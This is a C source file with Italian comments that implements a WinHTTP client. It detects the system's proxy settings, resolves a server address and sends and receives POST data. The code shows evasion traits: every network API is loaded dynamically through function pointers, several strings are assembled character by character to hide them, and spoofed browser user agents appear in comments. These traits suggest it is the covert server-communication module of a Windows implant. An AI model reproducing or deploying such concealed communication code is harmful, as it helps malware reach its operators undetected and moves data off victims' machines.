#include #include #include #include "win_http.h" #include "api.h" #undef _GLOBAL_VERSION_FUNCTIONS_ #include "version.h" HINTERNET hGlobalInternet = 0; HINTERNET hSession = 0; HINTERNET hConnect = 0; extern PDYNAMIC_WINHTTP dynamicWinHttp; extern PDYNAMIC_WINSOCK dynamicWinsock; PBYTE WinHTTPGetResponse(PULONG uOut) { PBYTE pHttpResponseBuffer; if (!dynamicWinHttp->fpWinhttpreceiveresponse(hGlobalInternet, NULL)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpReceiveResponse FAIL\n"); #endif return (PBYTE)NULL; } ULONG uContentLength; WCHAR szContentLength[32]; ULONG uBufLen = sizeof(szContentLength); ULONG uIndex = WINHTTP_NO_HEADER_INDEX; if (!dynamicWinHttp->fpWinhttpqueryheaders(hGlobalInternet, WINHTTP_QUERY_CONTENT_LENGTH, WINHTTP_HEADER_NAME_BY_INDEX, &szContentLength, &uBufLen, &uIndex)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpQueryHeaders FAIL\n"); #endif return (PBYTE)NULL; } uContentLength = _wtoi(szContentLength); pHttpResponseBuffer = (PBYTE)malloc(uContentLength); if (!pHttpResponseBuffer || !uContentLength) { #ifdef _DEBUG OutputDebugString(L"[!!] Cannot allocate buffer for HTTP response\n"); #endif return (PBYTE)NULL; } ULONG uRead; uRead = *uOut = 0; do { if (!dynamicWinHttp->fpWinhttpreaddata(hGlobalInternet, pHttpResponseBuffer + *uOut, uContentLength, &uRead)) { //fixed (non veniva deallocato il buffer in caso di errore) free(pHttpResponseBuffer); #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpReadData FAIL\n"); #endif return (PBYTE)NULL; } *uOut += uRead; uContentLength -= uRead; } while(uRead && uContentLength); return pHttpResponseBuffer; } BOOL WinHTTPSendData(PBYTE pBuffer, ULONG uBuffLen) { #ifdef _DEBUG // PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); // swprintf_s((wchar_t *)pDebugString, 1024, L"[+] Sending %08x byte of request\n", uBuffLen); // OutputDebugString(pDebugString); // free(pDebugString); #endif BOOL ret; WCHAR strContentLength[] = { L'C', L'o', L'n', L't', L'e', L'n', L't', L'-', L'L', L'e', L'n', L'g', L't', L'h', L':', L' ', L'%', L'd', L'\0' }; WCHAR pContentLength[1024]; swprintf_s(pContentLength, 1024, strContentLength, uBuffLen); ret = dynamicWinHttp->fpWinHttpSendRequest(hGlobalInternet, pContentLength, -1L, pBuffer, uBuffLen, uBuffLen, NULL); if (!ret) { #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[!!] WinHttpSendRequest fail: %08x\n", GetLastError()); OutputDebugString(pDebugString); free(pDebugString); #endif } return ret; } BOOL WinHTTPSetup(PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen, PULONG pPortToConnect) { WINHTTP_CURRENT_USER_IE_PROXY_CONFIG pProxyConfig; WINHTTP_PROXY_INFO pProxyInfoTemp, pProxyInfo; WINHTTP_AUTOPROXY_OPTIONS pOptPAC; DWORD dwOptions = 0; WCHAR _wHostProto[256]; WCHAR _wHost[256]; PBYTE pAddrPtr; char *wTypes[] = { "*\x00/\x00*\x00", 0x0 }; BOOL isProxy = FALSE; WCHAR strFormat[] = { L'h', L't', L't', L'p', L':', L'/', L'/', L'%', L'S', L'\0' }; swprintf_s(_wHost, L"%S", pServerUrl); swprintf_s(_wHostProto, strFormat, pServerUrl); ZeroMemory(&pProxyInfo, sizeof(pProxyInfo)); ZeroMemory(&pProxyConfig, sizeof(pProxyConfig)); ///* init dynamic winhttp */ if(dynamicWinHttp == NULL) { if((dynamicWinHttp = (PDYNAMIC_WINHTTP) malloc(sizeof(DYNAMIC_WINHTTP))) != NULL) { if( !API_LoadWinHttp(&dynamicWinHttp)) return FALSE; } else return FALSE; } ///* init dynamic winsock */ //dynamicWinsock = (PDYNAMIC_WINSOCK) malloc(sizeof(DYNAMIC_WINSOCK)); //if (dynamicWinsock) // if(!loadWinsock(&dynamicWinsock)) // return FALSE; // Crea una sessione per winhttp. //hSession = WinHttpOpen(L"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)", WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); //hSession = WinHttpOpen(L"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716", WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); //hSession = WinHttpOpen(L"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); hSession = dynamicWinHttp->fpWinhttpopen(USER_AGENT, WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); // Cerca nel registry le configurazioni del proxy if (hSession && dynamicWinHttp->fpWinhttpgetieproxyconfigforcurrentuser(&pProxyConfig)) { if (pProxyConfig.lpszProxy) { // Proxy specificato pProxyInfo.lpszProxy = pProxyConfig.lpszProxy; pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; pProxyInfo.lpszProxyBypass = NULL; } if (pProxyConfig.lpszAutoConfigUrl) { // Script proxy pac pOptPAC.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; pOptPAC.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl; pOptPAC.dwAutoDetectFlags = 0; pOptPAC.fAutoLogonIfChallenged = TRUE; pOptPAC.lpvReserved = 0; pOptPAC.dwReserved = 0; if (dynamicWinHttp->fpWinhttpgetproxyforurl(hSession ,_wHostProto, &pOptPAC, &pProxyInfoTemp)) memcpy(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo)); } if (pProxyConfig.fAutoDetect) { // Autodetect proxy pOptPAC.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; pOptPAC.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; pOptPAC.fAutoLogonIfChallenged = TRUE; pOptPAC.lpszAutoConfigUrl = NULL; pOptPAC.lpvReserved = 0; pOptPAC.dwReserved = 0; if (dynamicWinHttp->fpWinhttpgetproxyforurl(hSession ,_wHostProto, &pOptPAC, &pProxyInfoTemp)) memcpy(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo)); } // Se ha trovato un valore sensato per il proxy, allora ritorna if (pProxyInfo.lpszProxy) { isProxy = TRUE; dynamicWinHttp->fpWinhttpsetoption(hSession, WINHTTP_OPTION_PROXY, &pProxyInfo, sizeof(pProxyInfo)); // Parsa la stringa per separare la porta _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%S", pProxyInfo.lpszProxy); if (pAddrPtr = (PBYTE)strchr((PCHAR)pAddrToConnect, (int)':')) { *pAddrPtr = 0; pAddrPtr++; sscanf_s((PCHAR)pAddrPtr, "%d", pPortToConnect); } else *pPortToConnect = 8080; if (!ResolveName(pAddrToConnect, pAddrToConnect, uBufLen)) { dynamicWinHttp->fpWinhttpclosehandle(hSession); #ifdef _DEBUG OutputDebugString(L"[!!] Cannot resolve name 1\n"); #endif return FALSE; } } } if (!isProxy) { *pPortToConnect = 80; // se ci stiamo connettendo diretti usiamo di default la porta 80 if (!ResolveName(pServerUrl, pAddrToConnect, uBufLen)) { #ifdef _DEBUG OutputDebugString(L"[!!] Cannot resolve name 2\n"); #endif return FALSE; } swprintf_s(_wHost, L"%S", pAddrToConnect); // In questo caso mette nella richiesta winhttp direttamente l'indirizzo IP } #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s((wchar_t *)pDebugString, 1024, L"[*] WinHTTPSetup got host: %s, port: %d\n", &_wHost, *pPortToConnect); OutputDebugString(pDebugString); free(pDebugString); #endif // Definisce il target if (!(hConnect = dynamicWinHttp->fpWinhttpconnect(hSession, (LPCWSTR)_wHost, INTERNET_DEFAULT_HTTP_PORT, 0))) return FALSE; if (!(hGlobalInternet = dynamicWinHttp->fpWinhttpopenrequest(hConnect, L"POST", POST_PAGE, NULL, WINHTTP_NO_REFERER, (LPCWSTR *) wTypes, 0))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpOpenRequest FAILED\n"); #endif dynamicWinHttp->fpWinhttpclosehandle(hSession); return FALSE; } #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpOpenRequest SUCCEEDED\n"); #endif if(!dynamicWinHttp->fpWinhttpsettimeouts(hGlobalInternet, RESOLVE_TIMEOUT, CONNECT_TIMEOUT, SEND_TIMEOUT, RECV_TIMEOUT) == TRUE) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpSetTimeouts FAILED\n"); #endif } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHttpSetTimeouts SUCCEEDED\n"); #endif } return TRUE; } BOOL ResolveName(PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen) { struct hostent *hAddress; PBYTE pAddrPtr; WORD wVersionRequested; WSADATA pWSAData; #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s((wchar_t *)pDebugString, 1024, L"[*] ResolveName resolving: %S\n", pServerUrl); OutputDebugString(pDebugString); free(pDebugString); #endif // E' gia' un indirizzo IP if (dynamicWinsock->fpinet_addr((PCHAR)pServerUrl) != INADDR_NONE) { _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pServerUrl); return TRUE; } wVersionRequested = MAKEWORD(2, 2); if (dynamicWinsock->fpWSAStartup(wVersionRequested, &pWSAData )!= 0) { #ifdef _DEBUG OutputDebugString(L"WSAStartup FAILED\n"); #endif return FALSE; } hAddress = dynamicWinsock->fpgethostbyname((PCHAR)pServerUrl); dynamicWinsock->fpWSACleanup(); if (!hAddress || !(pAddrPtr = (PBYTE)dynamicWinsock->fpinet_ntoa(*(struct in_addr*)hAddress->h_addr))) { #ifdef _DEBUG OutputDebugString(L"inet_ntoa or gethostbyname FAILED\n"); #endif return FALSE; } _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pAddrPtr); return TRUE; } VOID WinHTTPClose() { if (hSession) { #ifdef _DEBUG OutputDebugString(L"[+] Closing hSession\n"); #endif dynamicWinHttp->fpWinhttpclosehandle(hSession); } hSession = NULL; if (hGlobalInternet) { #ifdef _DEBUG OutputDebugString(L"[+] Closing hGlobalInternet\n"); #endif dynamicWinHttp->fpWinhttpclosehandle(hGlobalInternet); } hGlobalInternet = NULL; if (hConnect) { #ifdef _DEBUG OutputDebugString(L"[+] Closing hConnect\n"); #endif dynamicWinHttp->fpWinhttpclosehandle(hConnect); } hConnect = NULL; } .